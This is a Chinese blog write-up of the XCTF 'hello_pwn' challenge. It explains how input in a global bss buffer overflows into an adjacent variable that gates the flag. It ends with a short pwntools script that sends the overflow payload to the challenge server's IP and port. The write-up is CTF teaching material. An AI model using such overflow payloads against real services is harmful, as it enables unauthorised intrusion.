攻防世界-pwn hello_pwn（地址溢出）

最新推荐文章于 2024-11-28 21:08:49 发布

影子019

最新推荐文章于 2024-11-28 21:08:49 发布

阅读量822

点赞数

CC 4.0 BY-SA版权

分类专栏： ctf_pwn 文章标签： ctf pwn

本文链接：https://blog.youkuaiyun.com/qinying001/article/details/99116797

ctf_pwn 专栏收录该内容

20 篇文章

订阅专栏

在这里插入图片描述

0x01 检查文件

在这里插入图片描述

64位elf 可执行文件
无栈保护
无PIE

0x02 运行程序

在这里插入图片描述
程序只有一个输入

0x03 IDA静态分析

主函数：

在这里插入图片描述

sub_400686()

在这里插入图片描述
可以发现只要dword_60106C == 1853186401就可以拿到flag

继续分析发现程序输入的值存储在unk_601068之中，而dword_60106C就在unk_601068之后，并且两个变量都存在于bss段(全局变量段)，则可以考虑用unk_601068的输入溢出来更改dword_60106C的值。

0x04 exp

from pwn import *
p = remote('111.198.29.45', 34428)

p.recvuntil("lets get helloworld for bof")
p.sendline("a" * 4 + p64(1853186401))

p.interactive()